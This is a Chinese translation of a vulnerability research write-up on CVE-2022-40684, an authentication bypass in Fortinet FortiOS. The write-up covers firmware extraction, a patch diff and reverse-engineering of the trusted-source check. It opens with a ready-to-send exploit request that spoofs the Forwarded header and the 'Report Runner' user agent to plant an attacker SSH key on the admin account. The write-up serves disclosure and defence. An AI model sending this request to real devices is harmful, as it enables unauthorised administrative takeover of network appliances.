介绍
Fortinet 最近修补了其 FortiOS、FortiProxy 和 FortiSwitchManager 项目中的一个关键身份验证绕过漏洞(CVE-2022-40684)。此漏洞使攻击者能够以管理员身份登录受影响的系统。为了演示本文中的漏洞,我们将使用 FortiOS 版本 7.2.1
让我们检查一下这个漏洞的内部工作原理。您可以在这里找到我们的 POC 。下面使用该漏洞向管理员用户添加 SSH 密钥,使攻击者能够以管理员身份通过 SSH 进入受影响的系统。
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: 10.0.40.67
User-Agent: Report Runner
Content-Type: application/json
Forwarded: for=”[127.0.0.1]:8000″;by= “[127.0.0.1]:9000”;
Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= [email protected]devs-MacBook-Pro.local\”” }
FortiOS 公开了一个管理 Web 门户,允许用户配置系统。此外,用户可以通过 SSH 进入系统,该系统会暴露一个锁定的 CLI 界面。在熟悉系统后,我们的第一步是将易受攻击的固件与补丁固件进行区分。
固件检查
我们获得了固件的 VMware zip 文件,其中包含两个 vmdk 文件。首先,我们使用以下命令检查了 vmdk 文件virt-filesystems并安装了它们guestmount:
$>ls *.vmdk
datadrive.vmdk fortios.vmdk
$>sudo virt-filesystems --filesystems -a fortios.vmdk
/dev/sda1
$>sudo mkdir fortios_mount
$>sudo guestmount -a fortios.vmdk -m /dev/sda1 --ro fortios_mount
$>cd fortios_mount
$>ls
boot.msg datafs.tar.gz extlinux.conf filechecksum flatkc flatkc.chk ldlinux.c32 ldlinux.sys lost+found rootfs.gz rootfs.gz.chk
接下来,我们提取根文件系统,我们在其中找到了一堆 .tar.xz 文件:
$>sudo cp ../fortios_mount/rootfs.gz .
$>gunzip rootfs.gz
$>cpio -i 2> /dev/null < rootfs
$>ls
bin.tar.xz bin.tar.xz.chk boot data data2 dev etc fortidev init lib lib64 migadmin.tar.xz node-scripts.tar.xz proc rootfs sbin sys tmp usr usr.tar.xz usr.tar.xz.chk var
有趣的是,尝试解压缩 xz 文件失败并出现损坏错误:
$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt
目前尚不清楚这是否是一种混淆尝试,但我们在固件的 sbin 文件夹中找到了一个 xz 版本。我们不能按原样运行它,但我们可以修补它的链接器以指向我们的系统链接器以最终解压缩文件:
$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt
$>find . -name xz
./sbin/xz
$>./sbin/xz --decompress *.xz
bash: ./sbin/xz: No such file or directory
$>file ./sbin/xz
./sbin/xz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /fortidev/lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eef5d20a9f8760df951ed122a5faf4de86a7128a, for GNU/Linux 3.2.0, stripped
$>patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 sbin/xz
$>./sbin/xz --decompress *.xz
$>ls *.tar
bin.tar migadmin.tar node-scripts.tar usr.tar
接下来,我们解压文件并开始检查它们的内容。我们发现/bin
包含大量二进制文件,其中许多是指向/bin/init
. 该migadmin
文件夹似乎包含管理界面的前端 Web 代码。该node-scripts
文件夹似乎包含管理界面的 NodeJs 后端。最后,该usr
文件夹包含一个库文件夹和一个apache2
配置文件夹。
我们将相同的步骤应用于固件版本 7.2.2 以启用文件系统的差异。在bin
文件夹中,我们发现大型init
二进制文件已更改,在node-scripts
文件夹中我们发现index.js
文件已更改:
index.js 差异
此差异显示httpsd代理处理程序显式设置了forwarded、x-forwarded-vdom和x-forwarded-cert标头。这为我们提供了一个提示,即从哪里开始寻找有关如何利用此漏洞的线索。
HTTPSD 和 Apache 处理程序
经过一番搜索,我们发现我们之前提到的 init 二进制文件包含一些与 NodeJs diff 中的标头匹配的字符串。这个初始化二进制文件相当大,似乎有很多功能,包括用于各种管理 REST API 端点的 Apache 钩子和处理程序。为了帮助我们的研究,我们通过 SSH 连接到系统并为httpsd进程启用调试输出:
fortios_7_2_1 # diagnose debug enable
fortios_7_2_1 # diagnose debug application httpsd -1
Debug messages will be on for 5 minutes.
fortios_7_2_1 # diagnose debug cli 8
Debug messages will be on for 5 minutes.
在调查forwarded标头时,我们发现了一个apache access_check_ex钩子,它解析标头,提取for和by字段,并将它们附加到 Apacherequest_rec结构。您可以看到该for字段允许我们client_ip在请求记录的连接上设置该字段。
转发头解析
此外,我们看到一条日志消息,其中提到了哪个处理程序用于特定请求。
[httpsd 12478 - 1665412044 info] fweb_debug_init[412] -- Handler "api_cmdb_v2-handler" assigned to request
搜索处理程序字符串后,我们在 init 二进制文件中找到了处理程序数组:
处理程序数组
在调查了一些处理程序后,我们发现其中许多调用了我们命名的函数api_check_access
:
api_check_access
我们立即被吸引到api_check_access_for_trusted_source
首先检查 vdom 套接字选项是否可信,然后转到我们称为的函数is_trusted_ip_and_user_agent
。
is_trusted_ip_and_user_agent
您可以看到此函数检查client_ip
是“127.0.01”并且User-Agent
标头与第二个参数匹配。使用两个可能的参数调用此函数:“Node.js”和“Report Runner”。“Node.js”路径似乎执行了一些额外的验证,但使用“Report Runner”允许我们绕过身份验证并执行 API 请求!
向 REST API 发出未经身份验证的请求的能力非常强大。但是,我们注意到我们无法添加或更改管理员用户的密码。为了解决这个问题,我们更新了管理员用户 SSH-keys 以允许我们以管理员身份通过 SSH 连接到目标。
在这里总结一下利用此漏洞的请求的必要条件的概述:
使用Fowarded 标头,攻击者可以将其设置client_ip
为“127.0.0.1”。
“可信访问”身份验证检查验证client_ip
“127.0.0.1”和User-Agent
“Report Runner”是否都在攻击者控制之下。
任何符合上述条件的系统管理接口的 HTTP 请求都应该引起关注。攻击者可以利用这个漏洞对易受攻击的系统做任何他们想做的事情。这包括更改网络配置、添加新用户和启动数据包捕获。请注意,这不是利用此漏洞的唯一方法,可能还有其他条件可以工作。例如,此漏洞利用的修改版本使用User-Agent
“Node.js”。这种利用似乎遵循了最近发现的企业软件漏洞中的一种趋势,即 HTTP 标头未正确验证或过度信任。我们在最近的F5和VMware漏洞中看到了这一点。